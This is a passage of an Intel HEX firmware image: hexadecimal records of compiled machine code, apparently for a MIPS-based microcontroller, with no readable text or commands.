:10cc3400dcc4432403006388dcc443981000a3af1e
:10cc4400059d023ce0c4432403006388e0c4439888
:10cc54001800c0101400a3af2188800021a0a000f8
:10cc6400218000000100152421909002212040021f
:10cc74001400a527d352410f0400062403004014d6
:10cc8400212040022ab3400b000035a21000a52742
:10cc9400d352410f04000624070040142110000061
:10cca400000020a2040010262b181302eeff6014cb
:10ccb40001003126821013003400bf8f3000b58f7d
:10ccc4002c00b48f2800b38f2400b28f2000b18fc2
:10ccd4001c00b08f0800e0033800bd27ff00a5301a
:10cce400f8ffa524ff00a2300800422c2e004010bb
:10ccf400ff00a53080280500039d023c14cd42248a
:10cd0400212845000000a28c08004000000000001b
:10cd140084cd029d5ccd029d5ccd029daccd029d77
:10cd2400accd029daccd029d5ccd029d34cd029d67
:10cd3400059d023ce4c4438ce4c442240400428cb8
:10cd4400030083a8000083b8070082a8040082b807
:10cd54000800e00301000224059d023cf0c4438c5a
:10cd6400f0c442240400428c030083a8000083b86a
:10cd7400070082a8040082b80800e003010002242e
:10cd8400059d023cfcc4438cfcc442240400428c38
:10cd9400030083a8000083b8070082a8040082b8b7
:10cda4000800e003010002240800e0032110000051
:10cdb40048ffbd27b400bfafb000b7afac00b6affb
:10cdc400a800b5afa400b4afa000b3af9c00b2af4d
:10cdd4009800b1af9400b0afc500c0102190c0005e
:10cde40021a0800021a8a00021b0000021b80000eb
:10cdf4002198000021800000059d023c30c542249a
:10ce04008800a2af059d023c34c542248c00a2af29
:10ce1400802810002110a5021000a2af0a000224ed
:10ce24001400a2af500002241800a2af2310500235
:10ce34001c00a2af2000a427212885020a00062492
:10ce44003519410f00010724aa0040102188400031
:10ce5400a34a410f2000a4270a0003242100431001
:10ce64000b00432c0600601020000324050003245b
:10ce7400090043502000a42734b4400b059d043c12
:10ce8400540043104000032466004310da80829368
:10ce940034b4400b059d043c059d053c44c4a524c5
:10cea400d352410f0500062408004014059d043c9c
:10ceb400059d043c08c584242013410f2000a527a8
:10cec4000100162437b4400b21b8000090c3842419
:10ced4002013410f2000a52721b0000037b4400bd8
:10cee40021b800000700e0122000a427059d043c9f
:10cef4001cc584242013410f2000a52737b4400b00
:10cf040021b000008800a58fd352410f02000624ef
:10cf1400070040142000a427059d043c84c38424f6
:10cf24002013410f2000a52737b4400b21b0000087
:10cf34008c00a58fd352410f020006240600401432
:10cf44002000a427059d043c38c584242013410fe8
:10cf54002000a5272000a427059d023c4cc545249c
:10cf6400d352410f02000624060040142000a427d7
:10cf7400059d043c50c584242013410f2000a5279f
:10cf84002000a427059d053c6cc5a524d352410f60
:10cf940002000624060040148500a427059d043cd5
:10cfa40070c584242013410f2000a5278500a427e1
:10cfb4002200a5271cba400f03000624059d043c4b
:10cfc40084c584248513410f8500a59337b4400b91
:10cfd40021b000000700c052059d043c059d043c9f
:10cfe40088c584242013410f2000a52702b4400bd8
:10cff4002000a42704c484242013410f2000a52763
:10d004002000a427c9b9400f21288000059d043cb5
:10d0140000c484242013410f2000a52737b4400bfb
:10d0240021b0000004004010059d043cfab4400ff8
:10d034002000a427059d043c94c584242013410f9b
:10d044002000a5272000a28f6400a2af2400a28f95
:10d054006800a2af2800a28f6c00a2af2c00a28fa0
:10d064007000a2af3000a28f7400a2af3400a28f70
:10d074007800a2af3800a28f7c00a2af3c00a28f40
:10d084008000a2af8400a0a32000a427c9b9400f48
:10d094006400a527059d043ca0c584242013410fea
:10d0a4002000a5272000a427c9b9400f4000a527c8
:10d0b400059d043c00c484242013410f2000a527af
:10d0c40021b0000037b4400b0100172430c484247d
:10d0d4002013410f2000a527218011022b101202da
:10d0e400040040100100132486b3400b8028100074
:10d0f40021980000059d043c00c48424059d053c42
:10d104002013410f40c4a52421106002b400bf8f36
:10d11400b000b78fac00b68fa800b58fa400b48f51
:10d12400a000b38f9c00b28f9800b18f9400b08f91
:10d134000800e003b800bd27d8ffbd272400bfaf17
:10d144002000b3af1c00b2af1800b1af1400b0aff1
:10d15400219080002198a00063b7400f2188c0006f
:10d1640021804000059d043c34c684242013410fd3
:10d17400212860022120600278b7400f04000524b2
:10d18400059d043c54c684242013410f2128200209
:10d194002120200278b7400f04000524059d043c9b
:10d1a40078c684242013410f21284002059d043ca5
:10d1b4009cc684248513410fc039057ec000117eae
:10d1c4000c0020122014107c04004304059d053c2f
:10d1d400059d053c79b4400bacc5a524c0c5a52468
:10d1e400059d043c2013410fb8c6842488b4400b29
:10d1f4008001137e04004304059d053c059d053c08
:10d2040084b4400bd0c5a524c0c5a524059d043c09
:10d214002013410fb8c684248001137e059d043c6d
:10d22400c0c684248513410f212860020400605283
:10d23400059d053c059d053c92b4400b00c6a52404
:10d24400c0c5a524059d043c2013410fb8c6842401
:10d254004001137e059d043cdcc684248513410fe4
:10d264002128600204006052059d053c059d053c93
:10d27400a0b4400b00c6a524c0c5a524059d043c4c
:10d284002013410fb8c684240001137e059d043c7d
:10d29400f8c684248513410f2128600204006052db
:10d2a400059d053c059d053caeb4400b00c6a52478
:10d2b400c0c5a524059d043c2013410fb8c6842491
:10d2c400059d043c14c784248513410f21282002a2
:10d2d40004002052059d053c059d053cbbb4400b54
:10d2e4000cc6a52414c6a524059d113c2013410f8a
:10d2f400b8c624264008137e059d043c30c7842408
:10d304008513410f212860028098130000a0023c7d
:10d31400a472422421986202b8c624262013410f25
:10d324000000658e01001032059d043c4cc7842426
:10d334008513410f2128000204000052059d053c7d
:10d34400059d053cd5b4400b20c6a52428c6a524bc
:10d35400059d043c2013410fb8c6842402005026c6
:10d36400059d043c68c784242013410f2128000232
:10d374002120000278b7400f03000524059d043cda
:10d3840000c48424059d053c2013410f40c4a524fa
:10d39400010002242400bf8f2000b38f1c00b28f31
:10d3a4001800b18f1400b08f0800e0032800bd27d7
:10d3b400e0ffbd271c00bfaf1000a0af079d043cd9
:10d3c400ffbf84341000a5270400062400a0073cf6
:10d3d400424c410f5c45e7241c00bf8f0800e0036a
:10d3e4002000bd27c8ffbd273400bfaf3000b1af58
:10d3f4002c00b0af079d023cffbf423403004388ba
:10d40400000043989801622c180040101000a3af4c
:10d4140021288000c9b9400f1400a4271000a28f4e
:10d42400802002000011020021208200079d113c8f
:10d4340003c03136212091001400a52714000624ce
:10d4440000a0103c424c410f5c4507261000a28fff
:10d45400010042241000a2affcff24261000a527df
:10d4640004000624424c410f5c4507263400bf8f5c
:10d474003000b18f2c00b08f0800e0033800bd27c6
:10d48400c0ffbd273c00bfaf3800b3af3400b2af1c
:10d494003000b1af2c00b0af079d023cffbf423457
:10d4a40003004388000043981000a3af059d043c8b
:10d4b40000c48424059d053c2013410f40c4a524c9
:10d4c4001000a28f080040149901432c059d043cd0
:10d4d40000c48424059d053c2013410f8cc7a5245a
:10d4e40064b5400b3c00bf8f0800601480880200c4
:10d4f400059d043c00c48424059d053c2013410f74
:10d50400a4c7a52464b5400b3c00bf8f00110200e2
:10d5140021882202079d103c03c010362188300266
:10d5240020001324059d123cb8c652260300038a2a
:10d534000000039a0700028a0400029a1400a3afb1
:10d544001800a2af1c00b3a30800022603004388fe
:10d554000000439807004588040045982000a3abc9
:10d564001d00a3bb2400a5ab2100a5bb2500a0a3df
:10d57400212040022013410f1400a5271400102677
:10d58400ebff11560300038a3c00bf8f3800b38fb2
:10d594003400b28f3000b18f2c00b08f0800e0034c
:10d5a4004000bd27f8ffbd270400beaf21f0a00353
:10d5b4000800c4af0c00c5af2110c0001000c2a306
:10d5c4001000c293640003241b006200f4014000b5
:10d5d40010100000121000000c00c38f1b0062002a
:10d5e400f401400010100000121000000c00c38f62
:10d5f400231862000800c28f2b106200150040102f
:10d60400000000001000c293640003241b006200a9
:10d61400f401400010100000121000000c00c38f31
:10d624001b006200f40140001010000012180000fa
:10d634000c00c28f211862000800c28f2b10430017
:10d6440004004010000000000100022497b5400bc4
:10d65400000000002110000021e8c0030400be8f78
:10d664000800bd270800e00300000000e8ffbd2714
:10d674001400beaf21f0a0031800c4af2110a00015
:10d684001c00c2a30400c0af010002240800c2af02
:10d694000000c0a3bfb5400b000000001c00c393f2
:10d6a4000000c29323106200ffff42241800c38fbe
:10d6b4002110620000004290d0ff42242118400053
:10d6c4000800c28f180062000400c28f1218000004
:10d6d400211043000400c2af0800c28f40100200b2
:10d6e40080180200211043000800c2af0000c2935a
:10d6f400010042240000c2a30000c3931c00c29393
:10d704002b106200e5ff4014000000000400c28feb
:10d7140021e8c0031400be8f1800bd270800e003f1
:10d7240000000000e0ffbd271c00beaf21f0a003f5
:10d734002000c4af2110a0002400c2a321100000c7
:10d74400211800000800c2af0c00c3af010002247e
:10d7540021180000130040001100600012100000a6
:10d76400101800001000c2af1400c3af0000c0a323
:10d7740019b6400b000000002400c3930000c293bc
:10d7840023106200ffff42242000c38f2110620097
:10d7940000004290d0ff422421404000c317020001
:10d7a400214840001000c28f021049701400c38f3a
:10d7b4001800680012180000211043001000c38fe5
:10d7c40019006800122000001028000021104500f4
:10d7d400212840000800cc8f0c00cd8f211084013b
:10d7e4002b704c002118a5012120c30121188000b1
:10d7f4000800c2af0c00c3af1000c28f1400c38f67
:10d804001300400011006000121000001018000006
:10d81400c22702004058030025588b0040500200e4
:10d824002110400121186001822702008038030082
:10d834002538870080300200212046002b608200ba
:10d844002128670021108501212840001000c4af61
:10d854001400c5af0000c293010042240000c2a31b
:10d864000000c3932400c2932b106200c2ff401433
:10d87400000000000800c28f0c00c38f130040009a
:10d884001100600012100000101800001300400086
:10d8940011006000121000001018000021e8c003fd
:10d8a4001c00be8f2000bd270800e003000000001c
:10d8b400f0ffbd270c00beaf21f0a0031000c4afe1
:10d8c4002110a0001400c2a30000c0af43b6400b57
:10d8d400000000001000c28f010043241000c3aff9
:10d8e40000004290211840001400c293ffff44241a
:10d8f4001400c4a3ffff4224041043000000c38f9c
:10d90400211062000000c2af1400c293f1ff401462
:10d91400000000000000c28f21e8c0030c00be8f8d
:10d924001000bd270800e00300000000f8ffbd2739
:10d934000400beaf21f0a0030800c4af0c00c5afc3
:10d944001000c6af5eb6400b000000000800c28f96
:10d95400010043240800c3af1000c38f0c00c48f20
:10d9640006186400ff00633001006330ff00633079
:10d97400000043a01000c28fffff43241000c3af78
:10d98400f2ff40140000000021e8c0030400be8f31
:10d994000800bd270800e00300000000f8ffbd27d1
:10d9a4000400beaf21f0a0030800c4af0c00c5af53
:10d9b4001000c6af7ab6400b000000000800c28f0a
:10d9c400010043240800c3af1000c38f0c00c48fb0
:10d9d40006186400ff00633001006330ff00633009
:10d9e400000043a01000c28fffff43241000c3af08
:10d9f400f2ff40140000000021e8c0030400be8fc1
:10da04000800bd270800e00300000000f8ffbd2760
:10da14000400beaf21f0a0030800c4af1000c6afdd
:10da24001400c7afa2b6400b000000000800c58f69
:10da34000100a4240800c4af1800c48f200086305d
:10da4400213800001400c88f40480800ffff082454
:10da540026408800044009011000c98f061089007f
:10da6400251002011400c88f061888000b106600e8
:10da74000b18e600ff00443001008430ff008430be
:10da84000000a4a01800c48fffff85241800c5afb0
:10da9400e6ff80140000000021e8c0030400be8fec
:10daa4000800bd270800e00300000000d8ffbd27e0
:10dab4002400bfaf2000beaf21f0a0032800c4aff4
:10dac4002c00c5af1000c22721204000059d023c58
:10dad4008c4745242c00c68fac54410f0000000035
:10dae4002800c48f1000c227212840000800062403
:10daf400494a410f000000000100022421e8c0034c
:10db04002400bf8f2000be8f2800bd270800e0033b
:10db140000000000d0ffbd272c00bfaf2800beaf1f
:10db240021f0a0033000c4af3800c6af3c00c7af3b
:10db34001000c22721204000059d023c9447452443
:10db44003800c68f3c00c78fac54410f0000000062
:10db54003000c48f1000c227212840001000062482
:10db6400494a410f000000000100022421e8c003db
:10db74002c00bf8f2800be8f3000bd270800e003b3
:10db840000000000e8ffbd271400bfaf1000beafc7
:10db940021f0a0031800c4af1c00c5af2000c6af1d
:10dba4001800c48f1c00c58f2000c68f4cb6400fd0
:10dbb400000000001800c48f1800c58f2000c68f15
:10dbc400aaba400f0000000021e8c0031400bf8f70
:10dbd4001000be8f1800bd270800e00300000000fd
:10dbe400e8ffbd271400bfaf1000beaf21f0a003b3
:10dbf4001800c4af1c00c5af2000c6af1800c48f06
:10dc04001c00c58f2000c68f68b6400f00000000be
:10dc14001800c48f1800c58f2000c68faaba400f01
:10dc24000000000021e8c0031400bf8f1000be8f65
:10dc34001800bd270800e00300000000f0ffbd2726
:10dc44000c00beaf21f0a0031000c4af2110a0004f
:10dc54001400c2a321100000211800000000c2af6c
:10dc64000400c3af32b7400b000000001000c28fa5
:10dc7400010043241000c3af00004290211840006b
:10dc84001400c293ffff44241400c4a3ffff4224e2
:10dc94000410430021304000c31702002138400023
:10dca4000000c48f0400c58f211086002b4044005f
:10dcb4002118a70021200301211880000000c2af11
:10dcc4000400c3af1400c293e8ff40140000000036
:10dcd4000000c28f0400c38f1300400011006000d5
:10dce4001210000010180000130040001100600022
:10dcf400121000001018000021e8c0030c00be8fb1
:10dd04001000bd270800e00300000000f0ffbd275d
:10dd14000c00beaf21f0a0031000c4af2110a0007e
:10dd24001400c2a30000c0af5ab7400b00000000ab
:10dd34001000c28f010043241000c3af00004290c2
:10dd4400211840001400c293ffff44241400c4a30c
:10dd5400ffff4224041043000000c38f211062001f
:10dd64000000c2af1400c293f1ff40140000000091
:10dd74000000c28f21e8c0030c00be8f1000bd2735
:10dd84000800e00300000000e0ffbd271c00bfaf57
:10dd94001800beaf21f0a0032000c4af1000c0af34
:10dda4002000c48f059d023c9c4745241000c227d7
:10ddb40021304000b355410f000000001000c28f15
:10ddc400ff00423021e8c0031c00bf8f1800be8f43
:10ddd4002000bd270800e00300000000e0ffbd278d
:10dde4001c00bfaf1800beaf21f0a0032000c4afd9
:10ddf4002110a0002400c2a31000c0a31100c0a3de
:10de04009ab7400b000000002000c48f63b7400f96
:10de1400000000001000c2a31000c2932000422c96
:10de240005004014000000001000c2937f00422c43
:10de340003004014000000002e0002241000c2a3be
:10de4400059d023ca04744241000c227212840001d
:10de54002013410f000000002000c28f0200422462
:10de64002000c2af2000c28f000042900600401084
:10de7400000000002400c293ffff43242400c3a336
:10de8400e1ff40140000000021e8c0031c00bf8f24
:10de94001800be8f2000bd270800e003000000002a
:10dea400e0ffbd271c00bfaf1800beaf21f0a003e8
:10deb4002000c4af1000c0af2000c48f059d023cf9
:10dec400a44745241000c22721304000b355410f18
:10ded4000000000021184000010002240400621028
:10dee4000000000021100000beb7400b000000003d
:10def4001000c28f21e8c0031c00bf8f1800be8f22
:10df04002000bd270800e00300000000d8ffbd2763
:10df14002400bfaf2000beaf21f0a0032800c4af8f
:10df24001000c0af2800c48fa34a410f00000000b6
:10df340021184000080002240400621000000000c0
:10df440021100000f7b7400b000000001400c0a32c
:10df5400f2b7400b000000001800c2272800c48f4d
:10df6400059d033c9c47652421304000b355410f77
:10df74000000000021184000010002240400621087
:10df84000000000021100000f7b7400b0000000063
:10df94001800c38f1400c293c01002000410430081
:10dfa4001000c38f211062001000c2af2800c28f7e
:10dfb400020042242800c2af1400c293010042248c
:10dfc4001400c2a31400c2930400422ce2ff4014c4
:10dfd400000000001000c28f21e8c0032400bf8f9e
:10dfe4002000be8f2800bd270800e00300000000c9
:10dff400a8ffbd275400bfaf5000beaf21f0a0035f
:10e004005800c4af1000c227212040005800c58f1b
:10e01400e7b8400f0000000021184000400002242f
:10e0240004006210000000001800000015b8400b46
:10e03400000000001000c2272120400040000524f9
:10e0440010b7400f000000001300400011006000f2
:10e0540012100000101800001300400011006000ae
:10e06400121000001018000021e8c0035400bf8ff4
:10e074005000be8f5800bd270800e00300000000d8
:10e08400c8ffbd273400bfaf3000beaf2c00b1af16
:10e094002800b0af21f0a0033800c4af2110000065
:10e0a400211800001000c2af1400c3af2000c0a3a9
:10e0b4001800c22704004224212040003000052417
:10e0c400040006246551410f000000003800c28f8f
:10e0d400080042241800c3272120600021284000a2
:10e0e40004000624494a410f000000001800c2271a
:10e0f40021204000c4b7400f000000001000c2af50
:10e104001400c0af1000c28f001002001400c2af90
:10e114001000c0af1800c227212040003800c58f6e
:10e1240008000624494a410f000000001800c227d5
:10e1340021204000c4b7400f0000000021804000af
:10e14400218800001000c48f1400c58f2110900096
:10e154002b3044002118b1002120c3002118800075
:10e164001000c2af1400c3af1000c28f1400c38fdd
:10e17400130040001100600012100000101800008d
:10e18400130040001100600012100000101800007d
:10e1940021e8c0033400bf8f3000be8f2c00b18f44
:10e1a4002800b08f3800bd270800e00300000000fd
:10e1b400d0ffbd272c00bfaf2800beaf2400b3aff3
:10e1c4002000b2af1c00b1af1800b0af21f0a00323
:10e1d4003000c4af3400c5af1100c0a31400c0a305
:10e1e4001500c0a31600c0a33000c28f2120000078
:10e1f40021280000000044ac040045ac3400c48f66
:10e20400a34a410f00000000010042300400401006
:10e214000000000021100000ddb8400b00000000e9
:10e224003400c48fa34a410f000000001100422ca7
:10e2340005004014000000000e0002241000c2a3d8
:10e24400d9b8400b000000003400c48fa34a410f2a
:10e2540000000000ff004230feff4224ff00423075
:10e264001000c2a3d9b8400b000000001000c28304
:10e274003400c38f21106200000042901400c2a336
:10e284001000c283010042243400c38f21106200b5
:10e29400000042901500c2a31400c22721204000b0
:10e2a400059d023ca8474524ec808627b355410fc1
:10e2b40000000000040040140000000021100000d1
:10e2c400ddb8400b000000003000c28f0000448c19
:10e2d4000400458cec80828f21904000219800003e
:10e2e4001100c2832000433021300000424012005c
:10e2f400ffff0724263847000638e8000488530047
:10e304002588f100048052000b8803020b80c300af
:10e31400211090002b3044002118b1002120c300ab
:10e324002118800013004000110060003000c28feb
:10e334001220000010280000000044ac040045ac8a
:10e344001100c29308004224ff0042301100c2a30e
:10e354001000c293feff4224ff0042301000c2a30b
:10e364001000c283c1ff4104000000000100022428
:10e3740021e8c0032c00bf8f2800be8f2400b38f78
:10e384002000b28f1c00b18f1800b08f3000bd2761
:10e394000800e00300000000d8ffbd272400bfaf41
:10e3a4002000beaf21f0a0032800c4af2c00c5afed
:10e3b4001800c0af2c00c48fa34a410f0000000016
:10e3c4001000c2af3ab9400b000000002c00c28f0d
:10e3d400010043242c00c3af000042901c00c2a3e0
:10e3e4001c00c2936100422c08004014000000008d
:10e3f4001c00c2936700422c04004010000000007f
:10e404001c00c293e0ff42241c00c2a31c00c29360
:10e414003000422c0a004014000000001c00c2938b
:10e424003a00422c06004010000000001c00c29379
:10e43400d0ff42241c00c2a321b9400b00000000fd
:10e444001c00c2934100422c0a004014000000004a
:10e454001c00c2934700422c06004010000000003c
:10e464001c00c293c9ff42241c00c2a321b9400b63
:10e47400000000002110000040b9400b0000000023
:10e484001400c0af36b9400b000000002800c28f52
:10e49400010043242800c3af1c00c49303000524d7
:10e4a4001400c38f2318a30007186400ff0063300f
:10e4b40001006330ff006330000043a01400c28fea
:10e4c400010042241400c2af1800c28f010042248c
:10e4d4001800c2af1400c28f0400422cebff40149a
:10e4e400000000001000c28fffff43241000c3afe0
:10e4f400b6ff4014000000001800c28f21e8c003da
:10e504002400bf8f2000be8f2800bd270800e00331
:10e5140000000000e0ffbd271c00bfaf1800beaf25
:10e5240021f0a0032000c4af2400c5af2000c48f95
:10e534002400c58fe7b8400f000000001000c2aff0
:10e544001000c28f040040140000000021100000dd
:10e554005db9400b000000002000c48f2000c58f6f
:10e564001000c68faaba400f000000001000c28f2e
:10e5740021e8c0031c00bf8f1800be8f2000bd27f8
:10e584000800e00300000000e0ffbd271c00bfaf4f
:10e594001800beaf21f0a0032000c4af2400c5af13
:10e5a4002800c6af2800c28f1400c2af2800c28f53
:10e5b4000500422c05004010000000002800c28f16
:10e5c4001200c2a3a3b9400b0000000004000224ff
:10e5d4001200c2a3a3b9400b000000001100c0a3a5
:10e5e4001100c2931000c2a391b9400b00000000b7
:10e5f4001000c2932400c38f2110620000004290d7
:10e60400211840001200c293ffff44241000c2935b
:10e614002310820004104300ff0043301100c29312
:10e62400211062001100c2a31000c2930100422411
:10e634001000c2a31400c28fffff42241400c2af13
:10e644001000c2930400422ce9ff401400000000b3
:10e654001100c2932000c48f059d033ca847652484
:10e6640021304000ac54410f000000002000c28f54
:10e67400010042242000c2af1000c2932400c38fc3
:10e68400211062002400c2af1400c28fd3ff4014d3
:10e69400000000002800c28f21e8c0031c00bf8fc7
:10e6a4001800be8f2000bd270800e0030000000012
:10e6b400e8ffbd271400bfaf1000beaf21f0a003d8
:10e6c4001800c4af1c00c5afbeb9400b0000000069
:10e6d4001800c28f010043241800c3af0000429009
:10e6e400059d033cac476424212840008513410f59
:10e6f400000000001c00c28fffff43241c00c3afb6
:10e70400f3ff40140000000021e8c0031400bf8f91
:10e714001000be8f1800bd270800e00300000000b1
:10e72400d8ffbd272400bfaf2000beaf21f0a00357
:10e734002800c4af2c00c5af2c00c48fa34a410fde
:10e74400000000001400c2af1400c28f1800c2af52
:10e754001800c28f0500422c050040100000000084
:10e764001800c28f1200c2a312ba400b00000000ae
:10e77400040002241200c2a312ba400b00000000dd
:10e784001100c0a31100c2931000c2a3fab9400b38
:10e79400000000001000c2932c00c38f21106200ff
:10e7a40000004290d0ff43241200c293ffff442490
:10e7b4001000c2932310820004104300ff00433072
:10e7c4001100c293211062001100c2a31000c29371
:10e7d400010042241000c2a31400c28fffff422490
:10e7e4001400c2af1000c2930400422c0700401072
:10e7f400000000001000c2932c00c38f211062009f
:10e8040000004290e3ff4014000000001100c29396
:10e814002800c48f059d033ca8476524213040008f
:10e82400ac54410f000000002800c28f01004224b4
:10e834002800c2af1000c2932c00c38f21106200c5
:10e844002c00c2af1400c28fcdff401400000000a2
:10e854001800c28f21e8c0032400bf8f2000be8fa0
:10e864002800bd270800e00300000000f0ffbd27da
:10e874000c00beaf21f0a0031000c4af1400c5af5c
:10e884002110c0001800c2a30000c0a31000c28f52
:10e89400000040a03dba400b000000001000c28ff1
:10e8a400000043901800c293ffff42241400c48f59
:10e8b4002110820000004290d0ff44240000c29343
:10e8c40004104400ff00423021106200ff00433076
:10e8d4001000c28f000043a01800c293ffff42241f
:10e8e4001800c2a30000c293010042240000c2a386
:10e8f4001800c293e9ff40140000000021e8c0039f
:10e904000c00be8f1000bd270800e00300000000cb
:10e91400f8ffbd270400beaf21f0a003211880003a
:10e924002110a0000800c3a30c00c2a30800c393d5
:10e934000c00c29307104300ff0042300100423034
:10e94400ff00423021e8c0030400be8f0800bd2749
:10e954000800e00300000000e8ffbd271400bfaf7b
:10e964001000beaf21f0a0031800c4af1c00c5af57
:10e974002000c6af6cba400b000000001800c38f23
:10e98400010062241800c2af1c00c28f010044249d
:10e994001c00c4af21206000059d033ca8476524ea
:10e9a40021304000ac54410f000000002000c28f11
:10e9b400ffff43242000c3aff0ff40140000000019
:10e9c40021e8c0031400bf8f1000be8f1800bd27bc
:10e9d4000800e00300000000e0ffbd271c00bfaffb
:10e9e4001800beaf21f0a0032000c4af2400c5afbf
:10e9f4002400c48fa34a410f000000001400c2afda
:10ea04001000c0af9eba400b000000002400c28f6b
:10ea1400000043903000022409006210000000004e
:10ea24002400c28f000043903100022404006210cd
:10ea34000000000021100000a4ba400b00000000f8
:10ea44002000c28f010043242000c3af2400c38fe1
:10ea5400010064242400c4af00006390d0ff632449
:10ea6400ff006330000043a01000c28f0100422465
:10ea74001000c2af1000c38f1400c28f2b106200ad
:10ea8400e2ff4014000000001400c28f21e8c0031c
:10ea94001c00bf8f1800be8f2000bd270800e003b4
:10eaa40000000000f0ffbd270c00beaf21f0a00362
:10eab4001000c4af1400c5af1800c6af0000c0af4b
:10eac400c0ba400b000000001000c28f01004324b4
:10ead4001000c3af1400c38f010064241400c4af3a
:10eae4000000639030006324ff006330000043a003
:10eaf4000000c28f010042240000c2af0000c38f97
:10eb04001800c28f2b106200efff401400000000b9
:10eb14001000c28f000040a021e8c0030c00be8f8b
:10eb24001000bd270800e00300000000f8ffbd2727
:10eb34000400beaf21f0a0030800c4af0c00c5afb1
:10eb44001000c6afdeba400b000000000800c28f00
:10eb5400010043240800c3af0c00c38f01006424e8
:10eb64000c00c4af000063900100632cff0063300d
:10eb7400000043a01000c28fffff43241000c3af66
:10eb8400f2ff40140000000021e8c0030400be8f1f
:10eb94000800bd270800e00300000000e0ffbd27d7
:10eba4001c00bfaf1800beaf21f0a0032000c4af0b
:10ebb4002400c5af2400c48fa34a410f0000000005
:10ebc4001000c2af03bb400b000000002000c28f46
:10ebd400010043242000c3af2400c38f0100642438
:10ebe4002400c4af000064903000032404008314a4
:10ebf400000000003100032402bb400b00000000b1
:10ec040030000324000043a01000c28fffff432400
:10ec14001000c3afedff40140000000021e8c00362
:10ec24001c00bf8f1800be8f2000bd270800e00322
:10ec340000000000e0ffbd271c00bfaf1800beaffe
:10ec440021f0a0032000c4af00a0023cdc1c44243b
:10ec54002000c58fe7b8400f000000001000c2afcd
:10ec640000a0023cdc1c44241000c58f3cbb400fb8
:10ec74000000000021e8c0031c00bf8f1800be8ff5
:10ec84002000bd270800e00300000000e8ffbd27c6
:10ec94001400bfaf1000beaf21f0a0031800c4af32
:10eca40000a0023cdc1c44241800c58fc9b9400fe5
:10ecb400000000000700401000000000059d023c19
:10ecc400b447442400a0023cdc1c45242013410f1b
:10ecd4000000000021e8c0031400bf8f1000be8fa5
:10ece4001800bd270800e00300000000e8ffbd276e
:10ecf4001400bfaf1000beaf21f0a0031800c4afd2
:10ed04001c00c5af5cbb400b000000001800c28fa4
:10ed1400000042900200422c0a004014000000004f
:10ed24001800c28f00004290059d033cbc47642438
:10ed3400212840008513410f0000000059bb400bff
:10ed4400000000001800c28f00004290059d033ca3
:10ed5400c0476424212840008513410f00000000af
:10ed64001800c28f010042241800c2af1c00c28fd9
:10ed7400ffff43241c00c3afe4ff40140000000065
:10ed8400059d023ca0474424059d023cc4474524fc
:10ed94002013410f0000000021e8c0031400bf8fbe
:10eda4001000be8f1800bd270800e003000000001b
:10edb400e0f7bd271c08bfaf1808beaf21f0a003c1
:10edc4002008c4af2408c5af2808c6af1000c0afe0
:10edd40099bb400b000000002408c28f01004324ab
:10ede4002408c3af0000429010004010000000004f
:10edf4001000c28f010043241000c3af1000c327ca
:10ee04002110620001000324040043a01000c28ffb
:10ee1400010043241000c3af1000c3272110620077
:10ee2400040040a099bb400b000000001000c28ffa
:10ee3400010043241000c3af1000c3272110620057
:10ee4400040040a01000c28f010043241000c3af8f
:10ee54001000c3272110620001000324040043a012
:10ee64002808c28fffff43242808c3afdaff4014e9
:10ee7400000000001400c2272008c48f212840008d
:10ee84001000c68f494a410f000000001000c28fd5
:10ee940021e8c0031c08bf8f1808be8f2008bd27b7
:10eea4000800e00300000000f0ffbd270c00beaf27
:10eeb40021f0a0031000c4af1400c5af1800c6af02
:10eec4000000c0afcbbb400b000000001400c28f99
:10eed400000043901400c28f0100422400004290bd
:10eee40005006214000000000000c28f42100200fe
:10eef400d2bb400b000000001000c28f010043246d
:10ef04001000c3af1400c38f00006390000043a03f
:10ef14001400c28f020042241400c2af0000c28f4a
:10ef2400020042240000c2af0000c38f1800c28f49
:10ef34002b106200e5ff4014000000000000c28fa7
:10ef44004210020021e8c0030c00be8f1000bd2750
:10ef54000800e00300000000f0ffbd270c00beaf76
:10ef640021f0a0031000c4af0000c0aff6bb400bfb
:10ef7400000000000000c28f1000c38f2110620047
:10ef8400000043800d00022408006210000000000d
:10ef94000000c28f1000c38f211062000000438064
:10efa4000a00022408006214000000000000c28f5e
:10efb4001000c38f21106200000040a01000c28f17
:10efc400fdbb400b000000000000c28f0100422482
:10efd4000000c2af0000c28f1000c38f2110620076
:10efe40000004280e3ff4014000000001000c28fc4
:10eff40021e8c0030c00be8f1000bd270800e00309
:10f0040000000000e8ffbd271400bfaf1000beaf32
:10f0140021f0a0031800c4afd880829314004014d8
:10f02400000000001800c28f09004010000000001a
:10f03400059d023ca0474424059d023cc847452445
:10f044002013410f000000002ebc400b0000000004
:10f05400059d023ca0474424059d023ccc47452421
:10f064002013410f000000002ebc400b00000000e4
:10f074001800c28f0900401000000000059d023cea
:10f08400a0474424059d023cc44745242013410f56
:10f09400000000002ebc400b00000000059d023c57
:10f0a400a0474424059d023cd04745242013410f2a
:10f0b400000000000100022421e8c0031400bf8ff7
:10f0c4001000be8f1800bd270800e00300000000f8
:10f0d400e8ffbd271400bfaf1000beaf21f0a003ae
:10f0e4001800c4afd88082930800401400000000c8
:10f0f400059d023cdc4744241800c58f2013410fb2
:10f104000000000049bc400b00000000059d023ccb
:10f11400e44744241800c58f2013410f0000000069
:10f124000100022421e8c0031400bf8f1000be8f29
:10f134001800bd270800e00300000000e8ffbd2719
:10f144001400bfaf1000beaf21f0a003d88082939b
:10f154000700401400000000059d023ca047442421
:10f16400059d023cf04745242013410f0000000098
:10f174002110000021e8c0031400bf8f1000be8fcf
:10f184001800bd270800e00300000000d8ffbd27d9
:10f194002400bfaf2000beaf1c00b0af21f0a0031d
:10f1a4002800c4af1000c0af8abc400b00000000b0
:10f1b4001000c28f2800c38f21106200000042801b
:10f1c4006100422814004014000000001000c28fa7
:10f1d4002800c38f21106200000042807b00422877
:10f1e4000d004010000000001000c28f2800c38fe3
:10f1f400211062001000c38f2800c48f21188300df
:10f2040000006380ff006330e0ff6324ff0063308d
:10f21400201c037c000043a01000c28f0100422484
:10f224001000c2af1000d08f2800c48fa34a410f32
:10f23400000000002b100202ddff4014000000005b
:10f244009abc400b000000002800c48fa34a410f61
:10f2540000000000ffff42242800c38f2110620039
:10f26400000040a02800c48fa34a410f0000000002
:10f27400ffff42242800c38f211062000000438056
:10f2840020000224f0ff62100000000021e8c00307
:10f294002400bf8f2000be8f1c00b08f2800bd2724
:10f2a4000800e00300000000e8ffbd271400beaf23
:10f2b40021f0a0031800c4af1c00c5af1c00c28f0e
:10f2c400421002000400c2af1800c28f0000c2af97
:10f2d400cdbc400b000000001c00c28fffff422485
